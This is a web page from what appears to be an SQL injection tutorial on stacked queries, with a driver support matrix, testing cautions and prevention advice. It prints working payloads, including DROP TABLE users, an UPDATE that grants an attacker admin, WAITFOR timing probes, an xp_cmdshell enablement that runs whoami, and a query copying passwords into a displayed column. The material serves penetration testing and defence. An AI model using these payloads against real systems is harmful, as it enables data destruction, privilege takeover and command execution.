Stacked Queries
Appending an entirely separate statement after the original. Where supported it turns a read-only injection into arbitrary write access — and often into code execution.
Overview
A stacked query terminates the application's statement with a semicolon and starts a new one:
SELECT * FROM products WHERE id = 1; DROP TABLE users-- -
Unlike UNION, the second statement is not constrained to match the first — it can be an INSERT, an UPDATE, a CREATE, or a stored procedure call. This is the technique that turns data disclosure into data modification and, on MSSQL and PostgreSQL, into remote code execution.
The catch is that support is inconsistent, and it depends on the driver far more than on the database.
Where Stacking Actually Works
Whether stacking works is decided by the client library's execution API, not by the engine alone. The same database can accept or reject stacked statements depending on how the application calls it.
Support matrix
| Engine / driver | Stacked? | Detail |
|---|---|---|
| MSSQL (all common drivers) | Yes | Fully supported. The standard route to xp_cmdshell. |
| PostgreSQL (libpq simple query) | Yes | Supported by default in most frameworks. |
| PostgreSQL (extended protocol) | No | Parameterised calls use the extended protocol, which is one-statement-only. |
| SQLite (exec / executescript) | Yes | exec() runs multiple statements; prepare() does not. |
| MySQL (PHP mysqli_query, PDO) | No | Single-statement by default. |
| MySQL (mysqli_multi_query) | Yes | Explicitly opted into by the application. |
| MySQL (PDO, emulated prepares) | Sometimes | Depends on PDO::MYSQL_ATTR_MULTI_STATEMENTS. |
| Oracle (standard drivers) | No | Not supported outside anonymous PL/SQL blocks. |
| Java JDBC (most drivers) | Often no | allowMultiQueries=false is the common default for MySQL. |
Stacked Queries Are Usually Blind
Even where stacking works, the application almost always reads only the first result set. Your second statement executes, but you never see its output.
That makes stacking a write primitive rather than a read one. To confirm it worked, you need a side channel:
- Time.
'; WAITFOR DELAY '0:0:5'-- -— the delay proves execution. - Second-order read. Write the result somewhere the application will display later:
'; UPDATE products SET description=(SELECT password FROM users LIMIT 1) WHERE id=1-- -then load product 1. - Out-of-band. Have the second statement make a network request. See Out-of-Band.
- Observable state change. Create a table, then test for its existence with a boolean oracle.
What Stacking Buys You
-- Privilege change
'; UPDATE users SET role='admin' WHERE username='attacker'-- -
-- Confirm execution via timing
'; WAITFOR DELAY '0:0:5'-- -
-- Enable and use xp_cmdshell — the classic escalation.
-- Requires sysadmin; see /guide/rce before running any of this.
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami'-- -
-- Exfiltrate into a column the app renders
'; UPDATE products SET description=(SELECT TOP 1 password FROM users)
WHERE id=1-- -Destructive Potential
Stacked queries execute arbitrary statements, including DROP, TRUNCATE, and UPDATE without a WHERE clause. Unlike a SELECT-based technique, a mistake here is not recoverable by pressing back.
During an authorized test:
- Never demonstrate with a destructive statement. Proving you can write is enough; a timing delay or a
CREATE TABLEon a scratch name shows the same capability as aDROP. - Prefer additive proofs. Creating a uniquely-named empty table is reversible and unambiguous.
- Scope writes explicitly. Confirm in writing that write-capable testing is in scope before you do it. Read-only authorization does not cover this.
- Beware automated tooling. sqlmap's
--os-shelland--sql-shellwill happily issue stacked writes. Know what a flag does before pointing it at production.
Prevention
Parameterise. As a bonus, parameterised APIs frequently disable stacking as a side effect: PostgreSQL's extended query protocol and SQLite's prepare() accept exactly one statement, so a properly parameterised call cannot stack even if an injection existed elsewhere.
Explicitly, do not enable multi-statement support unless you genuinely need it. allowMultiQueries=true in a JDBC URL and PDO::MYSQL_ATTR_MULTI_STATEMENTS are both opt-in settings that convert a contained injection into a general-purpose write primitive. Audit connection strings for them.
And apply least privilege: the application account should not hold DROP, CREATE, or the ability to enable xp_cmdshell. See Defense in Depth.
Related
The routes from an injected query to a shell on the database host, and which engines hand it to you directly.
Turning a database query into filesystem access: reading configuration and credentials, and writing a webshell into a served directory.
From a low-privilege database account to DBA, and from one database host to the next: credential harvesting, definer's-rights abuse, and linked-server pivoting.
Verbose errors, universal stacked-query support, and xp_cmdshell — the friendliest engine to attack and the one where escalation is most direct.
Strict typing, stacked queries, and COPY TO PROGRAM — the engine where an injection most reliably becomes command execution.
Parameterisation removes the bug; these layers limit the blast radius when a parameterisation is missed. Least privilege, allowlists, monitoring, and what each is actually worth.